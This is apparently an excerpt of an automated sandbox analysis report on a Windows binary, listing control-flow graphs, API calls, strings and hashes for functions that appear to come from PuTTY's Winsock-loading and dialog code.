                                                                                                                                                    control_flow_graph 0 324b50-324b69 call 32b850 3 324b85-324b93 GetProcAddress 0->3 4 324b6b-324b7f call 32b850 0->4 6 324bd1-324be5 call 32b850 3->6 7 324b95-324b9c 3->7 4->3 13 3251a0-3251a5 call 2f5330 4->13 16 324be7-324bff GetProcAddress 6->16 17 324c45-324c4c 6->17 9 324ba2-324bbb GetProcAddress 7->9 10 324c2a 7->10 12 324c34 9->12 14 324bbd-324bcf GetProcAddress 9->14 10->12 19 324c3e 12->19 22 3251aa-3251d4 call 2f5330 13->22 20 324c13-324c1a 14->20 16->12 21 324c01-324c0d GetProcAddress 16->21 25 324c4e-324c5a GetProcAddress 17->25 26 324c5c 17->26 24 324c40 19->24 20->19 23 324c1c-324c28 GetProcAddress 20->23 21->20 32 3251d6-3251db 22->32 33 3251ec-3251ed 22->33 23->24 24->17 28 324c5e-324c6a 25->28 26->28 30 324c70-324c89 GetProcAddress 28->30 31 325004 28->31 34 32500e 30->34 35 324c8f-324ca8 GetProcAddress 30->35 31->34 32->33 36 3251dd-3251e4 32->36 37 325018 34->37 35->37 38 324cae-324cc7 GetProcAddress 35->38 36->33 39 3251e6-3251e9 36->39 40 325022 37->40 38->40 41 324ccd-324ce6 GetProcAddress 38->41 39->33 42 32502c 40->42 41->42 43 324cec-324d05 GetProcAddress 41->43 44 325036 42->44 43->44 45 324d0b-324d24 GetProcAddress 43->45 46 325040 44->46 45->46 47 324d2a-324d43 GetProcAddress 45->47 48 32504a 46->48 47->48 49 324d49-324d62 GetProcAddress 47->49 50 325054 48->50 49->50 51 324d68-324d81 GetProcAddress 49->51 52 32505e 50->52 51->52 53 324d87-324da0 GetProcAddress 51->53 54 325068 52->54 53->54 55 324da6-324dbf GetProcAddress 53->55 56 325072 54->56 55->56 57 324dc5-324dde GetProcAddress 55->57 58 32507c 56->58 57->58 59 324de4-324dfd GetProcAddress 57->59 60 325086 58->60 59->60 61 324e03-324e1c GetProcAddress 59->61 62 325090 60->62 61->62 63 324e22-324e3b GetProcAddress 61->63 64 32509a 62->64 63->64 65 324e41-324e5a GetProcAddress 63->65 66 3250a4 64->66 65->66 67 324e60-324e79 GetProcAddress 65->67 68 3250ae 66->68 67->68 69 324e7f-324e98 GetProcAddress 67->69 70 3250b8 68->70 69->70 71 324e9e-324eb7 GetProcAddress 69->71 72 3250c2 70->72 71->72 73 324ebd-324ed6 GetProcAddress 71->73 74 3250cc 72->74 73->74 75 324edc-324ef5 GetProcAddress 73->75 76 3250d6 74->76 75->76 77 324efb-324f14 GetProcAddress 75->77 78 3250e0 76->78 77->78 79 324f1a-324f33 GetProcAddress 77->79 80 3250ea 78->80 79->80 81 324f39-324f52 GetProcAddress 79->81 82 3250f4 80->82 81->82 83 324f58-324f71 GetProcAddress 81->83 84 3250fe 82->84 83->84 85 324f77-324f90 GetProcAddress 83->85 86 325108 84->86 85->86 87 324f96-324faf GetProcAddress 85->87 88 325112 86->88 87->88 89 324fb5-324fce GetProcAddress 87->89 90 32511c 88->90 89->90 91 324fd4-324fed GetProcAddress 89->91 92 325126 90->92 91->92 93 324ff3-324fff GetProcAddress 91->93 94 325128-32513f WSAStartup 92->94 93->94 95 325141-32514c 94->95 96 32514e-32515d WSAStartup 94->96 95->96 97 32518d-32519f call 32a210 95->97 98 32515f-32516a 96->98 99 32516c-32517e WSAStartup 96->99 98->97 98->99 99->22 100 325180-32518b 99->100 100->22 100->97
                                                                                                                                                    APIs
                                                                                                                                                      • Part of subcall function 0032B850: LoadLibraryA.KERNELBASE(00000000,00000000,?,003399F0,kernel32.dll), ref: 0032B86F
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00324B8B
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,getaddrinfo), ref: 00324BA8
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,freeaddrinfo), ref: 00324BC3
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00324BED
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,freeaddrinfo), ref: 00324C07
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,getnameinfo), ref: 00324C22
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,WSAAddressToStringA), ref: 00324C54
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,WSAAsyncSelect), ref: 00324C76
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,WSAEventSelect), ref: 00324C95
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,select), ref: 00324CB4
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,WSAGetLastError), ref: 00324CD3
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,WSAEnumNetworkEvents), ref: 00324CF2
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,WSAStartup), ref: 00324D11
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,WSACleanup), ref: 00324D30
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,closesocket), ref: 00324D4F
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,ntohl), ref: 00324D6E
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,htonl), ref: 00324D8D
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,htons), ref: 00324DAC
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,ntohs), ref: 00324DCB
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,gethostname), ref: 00324DEA
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,gethostbyname), ref: 00324E09
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,getservbyname), ref: 00324E28
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,inet_addr), ref: 00324E47
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,inet_ntoa), ref: 00324E66
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,inet_ntop), ref: 00324E85
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,connect), ref: 00324EA4
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,bind), ref: 00324EC3
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,setsockopt), ref: 00324EE2
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,socket), ref: 00324F01
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,listen), ref: 00324F20
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,send), ref: 00324F3F
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,shutdown), ref: 00324F5E
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,ioctlsocket), ref: 00324F7D
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,accept), ref: 00324F9C
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,getpeername), ref: 00324FBB
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,recv), ref: 00324FDA
                                                                                                                                                    • GetProcAddress.KERNEL32(74160000,WSAIoctl), ref: 00324FF9
                                                                                                                                                    • WSAStartup.WS2_32(00000202,003F2C54), ref: 00325137
                                                                                                                                                    • WSAStartup.WS2_32(00000002,003F2C54), ref: 00325155
                                                                                                                                                    • WSAStartup.WS2_32(00000101,003F2C54), ref: 00325176
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: AddressProc$Startup$LibraryLoad
                                                                                                                                                    • String ID: Unable to initialise WinSock$Unable to load any WinSock library$WSAAddressToStringA$WSAAsyncSelect$WSACleanup$WSAEnumNetworkEvents$WSAEventSelect$WSAGetLastError$WSAIoctl$WSAStartup$accept$bind$closesocket$connect$freeaddrinfo$getaddrinfo$gethostbyname$gethostname$getnameinfo$getpeername$getservbyname$htonl$htons$inet_addr$inet_ntoa$inet_ntop$ioctlsocket$listen$ntohl$ntohs$recv$select$send$setsockopt$shutdown$socket$ws2_32.dll$wship6.dll$wsock32.dll
                                                                                                                                                    • API String ID: 1450042416-3487058210
                                                                                                                                                    • Opcode ID: 7eb4bb6f7d9750336ddf91504f146bd8f152677f2316e6530b97dd88d0141644
                                                                                                                                                    • Instruction ID: 1f697876ad667f56ba3f135b8e2fed5640d717c629b931828888a3946d50ed82
                                                                                                                                                    • Opcode Fuzzy Hash: 7eb4bb6f7d9750336ddf91504f146bd8f152677f2316e6530b97dd88d0141644
                                                                                                                                                    • Instruction Fuzzy Hash: B6E1C5B8642712DBD72B9F25FC69B7B3BA9BB04701F01852DE812963E0DBB5D904CB50
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030D790 Relevance: 65.4, APIs: 28, Strings: 9, Instructions: 605windowtimeCOMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 103 30d790-30d7cf 104 30db70-30db78 103->104 105 30d7d5-30d7db 103->105 108 30de8a-30de98 call 38dc50 104->108 109 30db7e-30db85 104->109 106 30dca0-30dca5 105->106 107 30d7e1-30d7e7 105->107 106->108 113 30dcab-30dcb2 106->113 110 30dd01-30dd22 call 30f1e0 call 38dc50 107->110 111 30d7ed-30d82e call 30f180 call 30f6e0 call 3383c0 107->111 124 30de9a-30dea4 108->124 109->108 112 30db8b-30db92 109->112 110->124 149 30d830-30d836 111->149 150 30d879-30d9f5 LoadIconA SendMessageA call 3393a0 MapDialogRect CreateWindowExA SendMessageA * 2 MapDialogRect CreateWindowExA SendMessageA * 2 111->150 112->108 117 30db98-30dbf6 SendMessageA * 3 call 310640 112->117 113->108 118 30dcb8-30dcd5 KillTimer call 32be30 113->118 131 30dea5-30dee1 call 30f6e0 call 3383c0 117->131 132 30dbfc-30dc17 117->132 133 30dcf1-30dcfc call 338140 118->133 134 30dcd7-30dcee MessageBoxA call 329100 118->134 158 30dee3-30dee5 131->158 159 30df25-30df5e call 313bc0 SendMessageA InvalidateRect SetFocus 131->159 137 30dc71-30dc75 132->137 133->108 134->133 142 30dc20-30dc6b call 310440 call 3105b0 call 329100 * 2 call 310640 137->142 143 30dc77-30dc79 137->143 142->131 142->137 147 30dc88-30dc99 GetDlgItem 143->147 153 30dc80-30dc86 147->153 154 30dc9b-30dc9e DestroyWindow 147->154 156 30d840-30d877 call 310660 call 3383c0 149->156 162 30dd49-30dd59 SendMessageA 150->162 163 30d9fb-30da12 150->163 153->142 153->147 154->153 156->150 164 30def0-30df23 call 310660 call 3383c0 158->164 159->108 170 30dd5d-30dd74 call 39d413 162->170 168 30da69-30da74 163->168 164->159 175 30da76-30da78 168->175 176 30da5b-30da63 168->176 189 30dd76-30ddae call 30f6e0 call 3383c0 170->189 182 30daa0 175->182 183 30da7a-30da89 call 3381c0 175->183 176->168 181 30dd27-30dd45 SendMessageA 176->181 181->189 190 30dd47 181->190 187 30daa2-30dab0 call 338190 182->187 199 30da54 183->199 200 30da8b-30da8f 183->200 202 30dab2-30dac6 call 39d413 187->202 203 30dac9-30dae0 call 390c40 187->203 207 30ddb0-30ddb2 189->207 208 30ddf4-30de08 call 313bc0 189->208 190->170 199->176 200->187 202->203 213 30dae2-30dae6 203->213 214 30dae8 203->214 211 30ddc0-30ddf2 call 310660 call 3383c0 207->211 219 30de23-30de3c call 310640 208->219 220 30de0a-30de1d SetTimer 208->220 211->208 217 30daed-30db38 call 3a12d0 SendMessageA 213->217 214->217 227 30da14 217->227 228 30db3e-30db65 SendMessageA 217->228 229 30de78-30de83 ShowWindow 219->229 230 30de3e-30de43 219->230 220->219 231 30da18-30da39 call 3909b0 227->231 228->231 232 30db6b 228->232 229->108 233 30de50-30de54 230->233 234 30da3c-30da50 231->234 232->234 236 30de56-30de6a call 310640 233->236 237 30de6e-30de75 call 313ab0 233->237 234->199 236->233 243 30de6c 236->243 237->229 243->229
                                                                                                                                                    APIs
                                                                                                                                                    • LoadIconA.USER32(000000C9), ref: 0030D888
                                                                                                                                                    • SendMessageA.USER32(?,00000080,00000001,00000000), ref: 0030D8A4
                                                                                                                                                    • MapDialogRect.USER32(?,00000003), ref: 0030D8DB
                                                                                                                                                    • CreateWindowExA.USER32 ref: 0030D91E
                                                                                                                                                    • SendMessageA.USER32(?,00000031,00000000,00000000), ref: 0030D933
                                                                                                                                                    • SendMessageA.USER32(00000000,00000030,00000000,00000001), ref: 0030D93B
                                                                                                                                                    • MapDialogRect.USER32(?,00000003), ref: 0030D965
                                                                                                                                                    • CreateWindowExA.USER32 ref: 0030D9B2
                                                                                                                                                    • SendMessageA.USER32(?,00000031,00000000,00000000), ref: 0030D9C1
                                                                                                                                                    • SendMessageA.USER32(00000000,00000030,00000000,00000001), ref: 0030D9C9
                                                                                                                                                    • _strrchr.LIBCMT ref: 0030DACE
                                                                                                                                                    • _strlen.LIBCMT ref: 0030DB06
                                                                                                                                                    • SendMessageA.USER32(?,00001100,00000000,?), ref: 0030DB32
                                                                                                                                                    • SendMessageA.USER32(?,00001102,-00000001,?), ref: 0030DB56
                                                                                                                                                    • SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0030DBA9
                                                                                                                                                    • SendMessageA.USER32(?,0000000B,00000000,00000000), ref: 0030DBB6
                                                                                                                                                    • SendMessageA.USER32(?,0000110C,00000000,00000005), ref: 0030DBE2
                                                                                                                                                    • GetDlgItem.USER32 ref: 0030DC95
                                                                                                                                                    • DestroyWindow.USER32(00000000), ref: 0030DC9C
                                                                                                                                                    • KillTimer.USER32(?,000004CE), ref: 0030DCBE
                                                                                                                                                    • MessageBoxA.USER32 ref: 0030DCE2
                                                                                                                                                    • SendMessageA.USER32(?,0000110B,00000009,00000000), ref: 0030DD36
                                                                                                                                                    • SetTimer.USER32(?,000004CE,000003E8,00000000), ref: 0030DE1D
                                                                                                                                                      • Part of subcall function 0030F180: SetWindowTextA.USER32(?,?), ref: 0030F18F
                                                                                                                                                      • Part of subcall function 0030F180: GetWindowLongA.USER32 ref: 0030F1A1
                                                                                                                                                      • Part of subcall function 0030F180: SetWindowLongA.USER32 ref: 0030F1B0
                                                                                                                                                      • Part of subcall function 0030F6E0: SendMessageA.USER32(?,00000031,00000000,00000000), ref: 0030F70B
                                                                                                                                                      • Part of subcall function 0030F6E0: GetClientRect.USER32 ref: 0030F71D
                                                                                                                                                      • Part of subcall function 0030F6E0: MapDialogRect.USER32(?), ref: 0030F746
                                                                                                                                                    • SendMessageA.USER32(?,0000000B,00000001,00000000), ref: 0030DF3E
                                                                                                                                                    • InvalidateRect.USER32(?,00000000,00000001), ref: 0030DF49
                                                                                                                                                    • SetFocus.USER32(?), ref: 0030DF58
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Message$Send$Window$Rect$Dialog$CreateLongTimer$ClientDestroyFocusIconInvalidateItemKillLoadText_strlen_strrchr
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/dialog.c$@$Cate&gory:$Demo screenshot failure$STATIC$SysTreeView32$b$firstpath$j == ctrl_path_elements(s->pathname) - 1
                                                                                                                                                    • API String ID: 3050031257-2030196855
                                                                                                                                                    • Opcode ID: fae542fc89a6d70e6db2076a30cce10a31a625a37e5a29dc6bea88604fee674e
                                                                                                                                                    • Instruction ID: 5006fe179e8c6d125d9f18c4fc473c9d4afe6fc8ed6d288d6d0adf91b0c763a9
                                                                                                                                                    • Opcode Fuzzy Hash: fae542fc89a6d70e6db2076a30cce10a31a625a37e5a29dc6bea88604fee674e
                                                                                                                                                    • Instruction Fuzzy Hash: 281205B1604344AFE7229F64DC86FAB77E9FF84704F004529FA489B2E1D7B1A944CB52
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 00337FA0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 88windowregistryCOMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    APIs
                                                                                                                                                    • LoadCursorA.USER32 ref: 00337FF9
                                                                                                                                                    • RegisterClassA.USER32 ref: 0033801C
                                                                                                                                                    • CreateDialogParamA.USER32(?,?,?,003380F0,00000000), ref: 0033805B
                                                                                                                                                    • SetWindowLongA.USER32 ref: 00338067
                                                                                                                                                    • KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0033809E
                                                                                                                                                    • IsDialogMessageA.USER32(00000000,?,?,00000000,00000000,00000000), ref: 003380AD
                                                                                                                                                    • DispatchMessageA.USER32 ref: 003380B4
                                                                                                                                                    • PostQuitMessage.USER32(?), ref: 003380C2
                                                                                                                                                    • DestroyWindow.USER32(00000000,?,00000000,00000000,00000000), ref: 003380C9
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Message$DialogWindow$CallbackClassCreateCursorDestroyDispatchDispatcherLoadLongParamPostQuitRegisterUser
                                                                                                                                                    • String ID: "
                                                                                                                                                    • API String ID: 1405747859-123907689
                                                                                                                                                    • Opcode ID: c21ed2de8c561eee564d8f9d74c072d4cac79e7ed8fe4f01f78e17a0bf2ddf04
                                                                                                                                                    • Instruction ID: 1c00f703aa9cf68949b361561904ec57aa7ed6db340a9e919e44913c09bfa1a0
                                                                                                                                                    • Opcode Fuzzy Hash: c21ed2de8c561eee564d8f9d74c072d4cac79e7ed8fe4f01f78e17a0bf2ddf04
                                                                                                                                                    • Instruction Fuzzy Hash: 77313B70508384AFD7329F24DD88B1ABBF8BB89704F40491DFA999B290C775A808CF46
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030F780 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69windowCOMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 318 30f780-30f7c7 MapDialogRect 319 30f7c9-30f813 CreateWindowExA SendMessageA call 3a0d80 318->319 320 30f83b 318->320 323 30f818-30f81d 319->323 322 30f83d-30f850 call 38dc50 320->322 323->322 325 30f81f-30f839 SetWindowPos 323->325 325->322
                                                                                                                                                    APIs
                                                                                                                                                    • MapDialogRect.USER32(?), ref: 0030F7BD
                                                                                                                                                    • CreateWindowExA.USER32 ref: 0030F7F7
                                                                                                                                                    • SendMessageA.USER32(00000000,00000030,?,00000001), ref: 0030F807
                                                                                                                                                    • SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000116,?,?,BUTTON,50000007,00000000,003E133C,?), ref: 0030F833
                                                                                                                                                    Strings
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Window$CreateDialogMessageRectSend
                                                                                                                                                    • String ID: LISTBOX
                                                                                                                                                    • API String ID: 4261271132-1812161947
                                                                                                                                                    • Opcode ID: 7855ee479c49b64d190e03e73ae06eda6984c51e87aa1883bf0f01e44257109c
                                                                                                                                                    • Instruction ID: 29d25c71435a1f4102f65c50d3c645cf506c3a343c0984134216b78dadaf5f07
                                                                                                                                                    • Opcode Fuzzy Hash: 7855ee479c49b64d190e03e73ae06eda6984c51e87aa1883bf0f01e44257109c
                                                                                                                                                    • Instruction Fuzzy Hash: A4211A72608301AFD7129F94DC81F5BBBF9FF88740F018919FA959A2A0C371E811DB52
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 0030F180 Relevance: 7.5, APIs: 5, Instructions: 31COMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 327 30f180-30f18b 328 30f195-30f19c call 2fb3a0 327->328 329 30f18d-30f18f SetWindowTextA 327->329 332 30f1b8-30f1c6 GetDlgItem 328->332 333 30f19e-30f1b7 GetWindowLongA SetWindowLongA 328->333 329->328 334 30f1c8-30f1c9 DestroyWindow 332->334 335 30f1cf-30f1d0 332->335 334->335
                                                                                                                                                    APIs
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: Window$Long$DestroyItemText
                                                                                                                                                    • String ID:
                                                                                                                                                    • API String ID: 4119185043-0
                                                                                                                                                    • Opcode ID: 516d818a38fccee22dba2b598d891decd4fcca4c6d68e09463a5c8486f33a642
                                                                                                                                                    • Instruction ID: 44b8f1ad3c36c31694121ebbe4f0d1424b755c0cb39ee12287a14743ee962392
                                                                                                                                                    • Opcode Fuzzy Hash: 516d818a38fccee22dba2b598d891decd4fcca4c6d68e09463a5c8486f33a642
                                                                                                                                                    • Instruction Fuzzy Hash: D2E09B70106561EBDB236F25FC48EDA3B5CAF46325F158360F419FD1E1D725C90389A4
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003131A0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 84windowCOMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 336 3131a0-3131ac 337 3131e4 336->337 338 3131ae-3131b4 336->338 339 3131e6-3131fa call 39d413 337->339 340 3131c0-3131d6 call 32afa0 338->340 345 3131fd-313206 339->345 346 31325d-313266 340->346 347 3131dc-3131e2 340->347 348 313228-31322d 345->348 349 313208-313226 345->349 346->345 350 313268-31326b 346->350 347->337 347->340 351 313232-31325c SendDlgItemMessageA * 2 348->351 349->351 350->339 352 313271-313275 350->352 352->345 353 313277 352->353 353->339
                                                                                                                                                    APIs
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000143,00000000,?), ref: 00313245
                                                                                                                                                    • SendDlgItemMessageA.USER32(?,?,00000151,00000000,?), ref: 00313256
                                                                                                                                                    Strings
                                                                                                                                                    • c && (c->ctrl->type == CTRL_LISTBOX || (c->ctrl->type == CTRL_EDITBOX && c->ctrl->editbox.has_list)), xrefs: 003131F0
                                                                                                                                                    • /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c, xrefs: 003131EB
                                                                                                                                                    Memory Dump Source
                                                                                                                                                    • Source File: 0000000C.00000002.1423765495.00000000002F1000.00000020.00000001.01000000.00000004.sdmp, Offset: 002F0000, based on PE: true
                                                                                                                                                    • Associated: 0000000C.00000002.1423731466.00000000002F0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1424681131.00000000003B7000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425218535.00000000003F0000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425268972.00000000003F2000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    • Associated: 0000000C.00000002.1425312799.00000000003F8000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                    • Snapshot File: hcaresult_12_2_2f0000_pin77.jbxd
                                                                                                                                                    Similarity
                                                                                                                                                    • API ID: ItemMessageSend
                                                                                                                                                    • String ID: /home/simon/mem/.build/workdirs/bob-jmc5owxa/putty/windows/controls.c$c && (c->ctrl->type == CTRL_LISTBOX || (c->ctrl->type == CTRL_EDITBOX && c->ctrl->editbox.has_list))
                                                                                                                                                    • API String ID: 3015471070-892283786
                                                                                                                                                    • Opcode ID: 0b7ea8c3b00299dfa7e4c26ddc7c839f22ebd69522a0aad03b958c73f2e8abea
                                                                                                                                                    • Instruction ID: 1b89b3d6762651679afd6fef5952e1ee4f1bee2a38dc52dc06f14d7be22d3c1c
                                                                                                                                                    • Opcode Fuzzy Hash: 0b7ea8c3b00299dfa7e4c26ddc7c839f22ebd69522a0aad03b958c73f2e8abea
                                                                                                                                                    • Instruction Fuzzy Hash: 1A210670604204BFEB2A9B04DC81FB6B3A9FF8D314F514539F5094B691D772AE94CB51
                                                                                                                                                    Uniqueness

                                                                                                                                                    Uniqueness Score: -1.00%

                                                                                                                                                    Function 003142C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                                                                                                                    Download Yara Rule

                                                                                                                                                    Control-flow Graph

                                                                                                                                                    • Executed
                                                                                                                                                    • Not Executed
                                                                                                                                                    control_flow_graph 354 3142c0-3142c7 355 3142e4-3142f8 call 32b850 354->355 356 3142c9-3142d0 354->356 363 314308 355->363 364 3142fa-314306 GetProcAddress 355->364 357 314313-314315 356->357 358 3142d2-3142e3 call 2fb160 SetCurrentProcessExplicitAppUserModelID 356->358 365 31430a-314311 363->365 364->365 365->357 365->358
                                                                                                                                                    APIs
                                                                                                                                                    • SetCurrentProcessExplicitAppUserModelID.SHELL32(00000000,002F46CA), ref: 003142D8
                                                                                                                                                    • GetProcAddress.KERNEL32(00000000,SetCurrentProcessExplicitAppUserModelID), ref: 00314300
                                                                                                                                                    Strings
                                                                                                                                                    • SetCurrentProcessExplicitAppUserModelID, xrefs: 003142FA
